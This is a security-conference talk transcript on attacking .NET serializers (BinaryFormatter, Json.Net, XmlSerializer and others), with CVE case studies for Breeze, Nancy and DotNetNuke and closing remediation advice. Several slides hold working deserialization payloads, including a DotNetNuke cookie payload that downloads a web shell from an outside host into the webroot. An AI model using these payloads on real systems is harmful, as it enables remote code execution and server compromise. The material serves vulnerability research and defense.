Attacking .NET Serialization

2016 was the year of Java deserialization apocalypse. Although Java Deserialization attacks were known for years, the publication of the Apache Commons Collection Remote Code Execution (RCE from now on) gadget finally brought this forgotten vulnerability to the spotlight and motivated the community to start finding and fixing these issues. One of the most suggested solutions for avoiding Java deserialization issues was to move away from Java Deserialization altogether and use safer formats such as JSON.

.NET formatters such as BinaryFormatter and NetDataContractSerializer are known to share similar mechanics which make them potentially vulnerable to similar RCE attacks. However, the lack of RCE gadgets led some software vendors to not take this issue seriously as happened to Java before.

In this talk, we will analyze .NET serializers including third party JSON parsers for potential RCE vectors. We will demonstrate that RCE is also possible in .NET and present details about the serializers that are vulnerable to RCE by default and discuss common configurations that make other libraries vulnerable. We will try to generalize the attack techniques to other serialization formats and conclude with presenting several gadgets from system libraries that may be used to achieve RCE for the analyzed serializers. Finally, we will provide recommendations on how to determine if your code is vulnerable, provide remediation advice, and discuss alternative approaches.

Paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf

Transcript

1. ATTACKING .NET SERIALIZATION Alvaro Muñoz pwntester
2. > whoami § Alvaro Muñoz @pwntester - Principal security researcher with Micro Focus Fortify - Presented my research at different conferences such as: - BlackHat, Defcon, RSA, OWASP AppSecEU, OWASP AppSecUSA, JavaOne, etc. - Responsibly reported critical vulnerabilities to companies/frameworks such as: - Microsoft, Oracle, Salesforce, HPE, Pivotal, Apache, Atlassian, Lightbend, etc.
3. 3 2016 – Java Deserialization Apocalypse
4. 4 10101011001010110 1010101011011 1000 1000 1010101011010 101010110010101001
5. 5 ? ? JSON
6. Agenda 1. Attacking .NET Formatters - Affected formatters - Gadgets - Demo 2. Attacking .NET JSON serializers - Affected Libraries - Gadgets - Demo 3. Generalizing the attack - Demo
7. .NET Formatters
8. Introduction § Attacks on .NET formatters are not new § James Forshaw already introduced them at BlackHat 2012 for: - BinaryFormatter - NetDataContractSerializer § … However, lack of Remote Code Execution gadgets until early this year § Goals: • Raise awareness about perils of .NET deserialization • Present new vulnerable formatters scenarios • Present new gadgets • Need new gadgets that works with Formatters other than BinaryFormatter
9. Quick recap of Java deser attacks § Attackers can force the execution of any readObject()/readResolve() methods of any class sitting in the classpath § By controlling the deserialized field values attackers may abuse the logic of these methods to run arbitrary code § .NET invokes several callbacks: - Deserialization constructor overload (SerializationInfo info, StreamingContext context) - IDeserializationCallback. OnDeserialization(Object) - System.Runtime.Serialization.On(Deserializing|Deserialized)Attribute annotated methods readObject { doSomething(a) } Field a doSomething(String a) { Runtime.exec(a) }
10. PSObject Gadget (CVE-2017-8565) § Bridges to custom deserializer https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/PSObject.cs
11. PSObject Gadget (CVE-2017-8565) https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/InternalDeserializer.cs … …
12. LanguagePrimitives.FigureConversion() allows to: • Call the constructor of any public Type with one argument (attacker controlled) • Call any setters of public properties for the attacker controlled type • Call the static public Parse(string) method of the attacker controlled type. https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/LanguagePrimitives.cs PSObject Gadget (CVE-2017-8565)
13. https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/LanguagePrimitives.cs … PSObject Gadget (CVE-2017-8565)
14. XAML Payload System.Windows.Markup.XamlReader.Parse() --> Process.Start(“calc”) <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"> <ObjectDataProvider x:Key="LaunchCalc“ ObjectType="{x:Type Diag:Process}" MethodName="Start"> <ObjectDataProvider.MethodParameters> <System:String>calc</System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>
15. .NET Native Formatters Name Format Additional requirements Comments BinaryFormatter Binary No ISerializable gadgets NetDataContractSerializer XML No ISerializable gadgets SoapFormatter SOAP XML No ISerializable gadgets DataContractSerializer XML Control of expected Type or knownTypes or weak DataContractResolver Setters gadgets Some ISerializable gadgets XmlSerializer XML Control of expected Type Quite limited; does not work with interfaces JavaScriptSerializer JSON Insecure TypeResolver Setters gadgets DataContractJsonSerializer JSON Control of expected Type or knownTypes Setters gadgets Some ISerializable gadgets ObjectStateFormatter Text, Binary No Uses BinaryFormatter internally; TypeConverters gadgets LosFormatter Text, Binary No Uses ObjectStateFormatter internally BinaryMessageFormatter Binary No Uses BinaryFormatter internally XmlMessageFormatter XML Control of expected Type Uses XmlSerializer internally
16. Fixed in version 1.4.4 / 2.0-dangermouse onwards Demo 2: Nancy (CVE-2017-9785)
17. NCSRF Cookie § CSRF cookie § Latest stable version used a BinaryFormatter serialized cookie (1.x) - AAEAAAD/////AQAAAAAAAAAMAgAAAD1OYW5jeSwgVmVyc2lvbj0wLjEwLjAuMCwgQ3VsdHVyZT1uZXV 0cmFsLCBQdWJsaWNLZXlUb2tlbj1udWxsBQEAAAAYTmFuY3kuU2VjdXJpdHkuQ3NyZlRva2VuAwAAAB w8UmFuZG9tQnl0ZXM+a19fQmFja2luZ0ZpZWxkHDxDcmVhdGVkRGF0ZT5rX19CYWNraW5nRmllbGQVP EhtYWM+a19fQmFja2luZ0ZpZWxkBwAHAg0CAgAAAAkDAAAAspLEeOrO0IgJBAAAAA8DAAAACgAAAAJ9 FN3bma5ztsdODwQAAAAgAAAAAt9dloO6qU2iUAuPUAtsq+Ud0w5Qu1py8YhoCn5hv+PJCwAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= § Pre-released 2.x used a custom JSON parser to make it compatible with .NET Core first versions § Pre-auth Remote Code Execution in both versions
18. Demo 2: NancyFX (CVE-2017-9785)
19. Is JSON any better?
20. Introduction § Probably secure when used to transmit data and simple JS objects § Replacing .NET serialization with JSON requires OOP support. - How do we serialize a System.Object field? - How do we deal with generics? - How do we serialize interface fields? - How do we deal with polymorphism?
21. But wait … § JSON libraries do not (normally) invoke deserialization callbacks or magic methods Can we initiate a gadget chain in some other way?
22. Object Reconstruction § JSON libraries need to reconstruct objects by either: - Calling default constructor and using reflection to set field values - Calling default constructor and calling setters to set field values - Calling “special” constructors, type converters or callbacks - Calling common methods such as: - hashcode(), toString(), equals(), finalize(), … - Combinations of the previous ones J
23. Gadgets: .NET Edition § System.Configuration.Install.AssemblyInstaller - set_Path - Execute payload on local assembly load § System.Activities.Presentation.WorkflowDesigner - set_PropertyInspectorFontAndColorData - Arbitrary XAML load (Requires Single Threaded Apartment (STA) thread) § System.Windows.ResourceDictionary - set_Source - Arbitrary XAML load § System.Windows.Data.ObjectDataProvider - set_(MethodName | ObjectInstance | ObjectType) - Arbitrary Method Invocation
24. System.Windows.Data.ObjectDataProvider set_MethodName() BeginQuery() QueryWorker() InvokeMethodOnInstance() Refresh() set_ObjectType() set_ObjectInstance()
25. System.Windows.Data.ObjectDataProvider {"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework", "ObjectInstance":{ "$type":"System.Diagnostics.Process, System”}, "MethodParameters":{ "$type":"System.Collections.ArrayList, mscorlib", "$values":["calc"]}, "MethodName":"Start" } • Non-default constructor with controlled parameters • ObjectType + ConstructorParameters • Any public instance method of unmarshaled object without parameters • ObjectInstance + MethodName • Any public static/instance method with controlled parameters • ObjectType + ConstructorParameters + MethodName + MethodParameters
26. Analyzed Libraries § Arbitrary Code Execution Requirements: 1. Attacker can control type of reconstructed objects • Can specify Type _type, $type, class, classname, javaClass, … • Library loads and instantiate Type 2. Library/GC will call methods on reconstructed objects 3. There are gadget chains starting on method executed upon/after reconstruction
27. Categorization § Format includes type discriminator 1. Default 2. Configuration setting § Type control 1. Cast after deserialization 2. Inspection of expected type object graph
28. Expected Type’s Object Graph Inspection - Inspection of expected type’s object graph - Check assignability from provided type - In some cases it also create a whitelistof allowed types - Vulnerable if - Expected type is user-controllable - Attacker can find injection member in object graph and no whitelist is applied Name : String Items : Dict<String, Object> Message : Message Body : Object Exc: Exception User Message Data : IDictionary Message : String Source: String StackTrace: String InnerException: Exception … Exception … Value : Object ValidationException Name : String Items : Dict<String, Object> Message : Message Props : Hashtable IUser
29. Summary Name Language Type Discriminator Type Control Vector FastJSON .NET Default Cast Setter Json.Net .NET Configuration Expected Object Graph Inspection Setter Deser. callbacks FSPickler .NET Default Expected Object Graph Inspection Setter Deser. callbacks Sweet.Jayson .NET Default Cast Setter JavascriptSerializer .NET Configuration Cast Setter DataContractJsonSerializer .NET Default Expected Object Graph Inspection + whitelist Setter Deser. callbacks
30. FastJson § Always includes Type discriminators § There is no Type check controls other than a post-deserialization cast § Invokes - Setter § Should never be used with untrusted data § Example: - KalikoCMS - CVE-2017-10712 Var obj = (ExpectedType) JSON.ToObject(untrusted);
31. JavaScriptSerializer § System.Web.Script.Serialization.JavaScriptSerializer § By default, it will not include type discriminator information - Type Resolver can be used to include this information. § Weak Type control: post-deserialization cast operation § During deserialization, it will call: - Setters § It can be used securely as long as a type resolver is not used or the type resolver is configured to whitelist valid types. JavaScriptSerializer sr = new JavaScriptSerializer(new SimpleTypeResolver()); string reqdInfo = apiService.authenticateRequest(); reqdDetails det = (reqdDetails)(sr.Deserialize<reqdDetails>(reqdInfo));
32. DataContractJsonSerializer § System.Runtime.Serialization.Json.DataContractJsonSerializer § Performs a strict type graph inspection and whitelist creation. § However, we found that if the attacker can control the expected type used to configure the deserializer, they will be able to gain code execution. Eg: § Invokes: - Setters - Serialization Constructors § Can be used securely as long as the expected type cannot be controlled by users. var typename = cookie["typename"]; … var serializer = new DataContractJsonSerializer(Type.GetType(typename)); var obj = serializer.ReadObject(ms);
33. Json.Net § It does not include Type discriminators unless TypeNameHandling setting other than None is used § Performs an inspection of Expected Type’s Object Graph § Invokes: - Setters - Serialization callbacks - Type Converters § Use SerializationBinder to whitelist Types if TypeNameHandling is required public class Message { [JsonProperty(TypeNameHandling = TypeNameHandling.All)] public object Body { get; set; } }
34. Demo 1: Breeze (CVE-2017-9424) Fixed in Breeze 1.6.5 onwards
35. Serializer Settings https://github.com/Breeze/breeze.server.net/blob/bda6d979437d7a3430be8872fea182c3cbc4c97c/AspNet/Breeze.ContextProvider/BreezeConfig.cs
36. Unsafe Deserialization & Entrypoint https://github.com/Breeze/breeze.server.net/blob/master/AspNet/Breeze.ContextProvider/ContextProvider.cs
37. Demo 1: Breeze (CVE-2017-9424)
38. Generalizing the Attacks
39. Attacking all the deserializers - During unmarshaling, objects will need to be created and populated which normally mean calling setters or deserialization constructors. § Arbitrary Code Execution Requirements: 1. Attacker can control type to be instantiated upon deserialization 2. Methods are called on the reconstructed objects 3. Gadget space is big enough to find types we can chain to get RCE - We can use our setter gadgets to attack most formats J
40. Examples § FsPickler (xml/binary) - A fast, multi-format messaging serializer for .NET - Includes arbitrary Type discriminators - Invokes setters and ISerializable constructor and callbacks - Object Graph Inspection § SharpSerializer - XML and binary serialization for .NET and Silverlight - Includes arbitrary Type discriminators - Invokes setters - No type control other than post-deserialization cast § Wire/Hyperion - A high performance polymorphic serializer for the .NET framework used by Akka.NET - JSON.NET with TypeNameHandling = All or custom binary one - Includes Type discriminators and invokes setters and ISerializable constructor and callbacks
41. Beware of rolling your own format § Nancy - Custom JSON parser replacing BinaryFormatter (Pre-released 2.x ) to make it compatible with .NET Core first versions § DotNetNuke CMS (DNN Platform) - Wraps XmlSerializer around a custom XML format which includes the type to be used to create the XmlSerializer - This deserves a slide on its own J {"RandomBytes":[60,142,24,76,245,9,202,183,56,252],"CreatedDate": "2017-04- 03T10:42:16.7481461Z","Hmac":[3,17,70,188,166,30,66,0,63,186,44,2 13,201,164,3,19,56,139,78,159,170,193,192,183,242,187,170,221,140 ,46,24,197],"TypeObject":"Nancy.Security.CsrfToken, Nancy, Version=2.0.0.0, Culture=neutral, PublicKeyToken=null”}
42. Overcoming XmlSerializer constraints § Types with interface members cannot be serialized - System.Windows.Data.ObjectDataProvider is XmlSerializer friendly J - System.Diagnostic.Process has Interface members L … use any other Type! • XamlReader.Load(String) -> RCE • ObjectStateFormatter.Deserialize(String) -> RCE • DotNetNuke.Common.Utilities.FileSystemUtils.PullFile(String) -> WebShell • DotNetNuke.Common.Utilities.FileSystemUtils.WriteFile(String)-> Read files § Runtime Types needs to be known at serializer construction time - ObjectDataProvider contains an System.Object member (unknown runtime Type) - Use a parametrized Type to “teach” XmlSerializer about runtime types. Eg: System.Data.Services.Internal.ExpandedWrapper`2[ [PUT_RUNTIME_TYPE_1_HERE],[PUT_RUNTIME_TYPE_2_HERE] ], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
43. Demo 3: DotNetNuke (CVE-2017-9822) Fixed in DNN Platform 9.1.1 or EVOQ 9.1.1 onwards
44. Source https://github.com/dnnsoftware/Dnn.Platform/blob/a142594a0c18a589cb5fb913a022eebe34549a8f/DNN%20Platform/Library/Services/Personalization/PersonalizationController.cs#L72 Processed, for example, when accessing a 404 error page
45. Sink https://github.com/dnnsoftware/Dnn.Platform/blob/a142594a0c18a589cb5fb913a022eebe34549a8f/DNN%20Platform/Library/Common/Utilities/XmlUtils.cs#L201
46. DNNPersonalization Regular Cookie <profile> <item key="85:AllCreditors" type="System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"> <boolean>false</boolean> </item> </profile>
47. DNNPersonalization Payload Cookie <profile> <item key="name1:key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Win dows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"> <ExpandedWrapperOfFileSystemUtilsObjectDataProvider> <ExpandedElement/> <ProjectedProperty0> <MethodName>PullFile</MethodName> <MethodParameters> <anyType xsi:type="xsd:string">http://ctf.pwntester.com/shell.aspx</anyType> <anyType xsi:type="xsd:string">C:\inetpub\wwwroot\dotnetnuke\shell.aspx</anyType> </MethodParameters> <ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance> </ProjectedProperty0> </ExpandedWrapperOfFileSystemUtilsObjectDataProvider> </item> </profile>
48. Demo 3: DotNetNuke (CVE-2017-9822)
49. Wrap-Up
50. Main Takeaways §Do not deserialize untrusted data! § … no, seriously, do not deserialize untrusted data! § … ok, if you really need to: - Make sure to evaluate the security of the chosen library - Avoid libraries without strict Type control - Type discriminators are necessary but not sufficient condition - Never use user-controlled data to define the deserializer expected Type - Do not roll your own format
53. Thank you. alvaro.munoz@microfocus.com @pwntester BlackHat Whitepaper (PDF)